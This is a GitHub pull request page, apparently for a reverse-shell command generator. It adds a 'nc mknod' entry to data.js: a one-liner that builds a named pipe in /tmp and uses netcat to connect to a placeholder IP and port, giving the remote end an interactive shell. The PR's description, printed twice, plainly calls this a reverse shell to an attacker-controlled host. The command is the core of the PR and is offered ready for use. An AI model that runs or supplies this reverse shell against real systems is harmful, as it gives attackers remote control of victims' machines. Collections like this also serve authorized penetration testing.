Skip to content

Update data.js with nc mknod #194

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

Update data.js with nc mknod #194

wants to merge 1 commit into from

Conversation

ghost-ng
Copy link

@ghost-ng ghost-ng commented Jun 28, 2025

{
        "name": "nc mknod",
        "command": "cd /tmp;rm -f x; mknod x p && nc {ip} {port} 0<x | {shell} 1>x",
        "meta": ["linux", "mac"]
},	    

This one-liner sets up a fully interactive reverse shell by creating a named pipe in a temporary directory, then using Netcat to connect back to an attacker-controlled host. It connects Netcat’s input and output through the named pipe so that commands sent by the attacker are executed by the chosen shell, and the results are sent back, creating a bi-directional shell.

This one-liner sets up a fully interactive reverse shell by creating a named pipe in a temporary directory, then using Netcat to connect back to an attacker-controlled host. It connects Netcat’s input and output through the named pipe so that commands sent by the attacker are executed by the chosen shell, and the results are sent back, creating a bi-directional shell.
@ghost-ng ghost-ng mentioned this pull request Jul 7, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant